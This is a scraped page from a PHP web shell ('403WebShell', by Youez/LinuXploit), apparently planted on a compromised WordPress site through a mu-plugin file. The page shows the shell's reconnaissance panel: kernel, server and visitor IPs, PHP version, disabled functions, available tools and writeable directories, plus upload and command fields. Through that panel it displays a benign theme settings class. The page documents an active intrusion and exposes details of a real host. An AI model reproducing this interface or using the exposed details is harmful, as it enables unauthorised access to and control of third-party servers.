Warning: chmod(): No such file or directory in /www/wwwroot/scuipturepactory.com/wp-content/mu-plugins/worksec.php on line 7
Uname:Linux iZt4n9czhka2zvqfajdlr2Z 6.8.0-63-generic #66-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 13 20:25:30 UTC 2025 x86_64

Base Dir : /www/wwwroot/scuipturepactory.com

User : www


403WebShell
403Webshell
Server IP : 47.82.179.145  /  Your IP : 216.73.217.129
Web Server : nginx/1.26.3
System : Linux iZt4n9czhka2zvqfajdlr2Z 6.8.0-63-generic #66-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 13 20:25:30 UTC 2025 x86_64
User : www ( 1001)
PHP Version : 8.3.30
Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /www/wwwroot/scuipturepactory.com/wp-content/themes/plover/core/src/Services/Settings/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /www/wwwroot/scuipturepactory.com/wp-content/themes/plover/core/src/Services/Settings//Settings.php
<?php

namespace Plover\Core\Services\Settings;

use Plover\Core\Toolkits\Arr;
use Plover\Core\Toolkits\Format;

/**
 * @since 1.0.0
 */
class Settings {

	/**
	 * All setting groups.
	 *
	 * @var array
	 */
	protected $groups = array();

	/**
	 * Add a new setting group.
	 *
	 * @param $id
	 * @param array $args
	 *
	 * @return void
	 */
	public function add_group( $id, array $args = array() ) {
		$args = wp_parse_args( $args, array(
			'default' => 'yes',
			'fields'  => array(),
		) );

		if ( ! isset( $this->groups[ $id ] ) ) {
			$this->groups[ $id ] = array(
				'default' => $args['default'],
				'value'   => get_option( $id . '_enabled', $args['default'] ),
				'fields'  => array(),
			);
		}

		foreach ( $args['fields'] as $field_id => $field_args ) {
			$this->add_field( $id, $field_id, $field_args );
		}
	}

	/**
	 * Add a setting field to an existed setting group.
	 *
	 * @param $group
	 * @param $field_id
	 * @param $field_args
	 *
	 * @return array|false
	 */
	public function add_field( $group, $field_id, $field_args ) {
		if ( ! isset( $this->groups[ $group ] ) ) {
			return false;
		}

		$field_args = wp_parse_args( $field_args, array(
			'default'  => '',
			'sanitize' => 'sanitize_text_field',
		) );

		$fields_data = get_option( $group . '_fields', array() );

		$field_args['value'] = $fields_data[ $field_id ] ?? $field_args['default'];

		$this->groups[ $group ]['fields'][ $field_id ] = $field_args;

		return $field_args;
	}

	/**
	 * Get setting group data.
	 *
	 * @param $id
	 *
	 * @return mixed|null
	 */
	public function group( $id ) {
		return $this->groups[ $id ] ?? null;
	}

	/**
	 * Save setting
	 *
	 * @param $group
	 * @param $field
	 * @param $value
	 *
	 * @return bool
	 */
	public function update( $group, $field, $value ) {
		if ( ! isset( $this->groups[ $group ] ) ) {
			return false;
		}

		// update group it self
		if ( $field === null ) {
			$value = Format::sanitize_checkbox( $value );

			$this->groups[ $group ]['value'] = $value;
			update_option( $group . '_enabled', $value );

			return true;
		}

		// illegal field
		if ( ! isset( $this->groups[ $group ]['fields'][ $field ] ) ) {
			return false;
		}

		$sanitize = $this->groups[ $group ]['fields'][ $field ]['sanitize'] ?? null;
		if ( $sanitize ) {
			$value = call_user_func( $sanitize, $value );
		}

		$field_values           = Arr::pluck( $this->groups[ $group ]['fields'], 'value' );
		$field_values[ $field ] = $value;

		$this->groups[ $group ]['fields'][ $field ]['value'] = $value;
		update_option( $group . '_fields', $field_values );

		return true;
	}

	/**
	 * @param $group
	 * @param $field
	 * @param $default
	 *
	 * @return bool
	 */
	public function checked( $group, $field = null, $default = null ) {
		$v = $this->get( $group, $field, $default );

		return $v === 'yes' || $v === true;
	}

	/**
	 * Get group/field saved value.
	 *
	 * @param $group
	 * @param null $field
	 * @param null $default
	 *
	 * @return mixed|null
	 */
	public function get( $group, $field = null, $default = null ) {
		$group_data = $this->groups[ $group ] ?? null;
		if ( ! $group_data ) {
			return $default;
		}

		if ( $field === null ) {
			return $group_data['value'] ?? $default;
		}

		return $group_data['fields'][ $field ]['value'] ?? $default;
	}

	/**
	 * Get all setting groups.
	 *
	 * @return array
	 */
	public function all() {
		return $this->groups;
	}

	/**
	 * Reset setting groups.
	 *
	 * @param $group
	 *
	 * @return void
	 */
	public function reset( $group = null ) {
		if ( $group !== null ) {
			$this->reset_group( $group );
		} else {
			foreach ( $this->groups as $group => $args ) {
				$this->reset_group( $group );
			}
		}
	}

	/**
	 * Reset a group.
	 *
	 * @param $group
	 *
	 * @return void
	 */
	protected function reset_group( $group ) {
		if ( ! isset( $this->groups[ $group ] ) ) {
			return;
		}

		delete_option( $group . '_enabled' );
		delete_option( $group . '_fields' );

		$this->groups[ $group ]['value'] = $this->groups[ $group ]['default'] ?? null;
		foreach ( $this->groups[ $group ]['fields'] as $field => $args ) {
			$this->groups[ $group ]['fields'][ $field ]['value'] = $this->groups[ $group ]['fields'][ $field ]['default'] ?? null;
		}
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit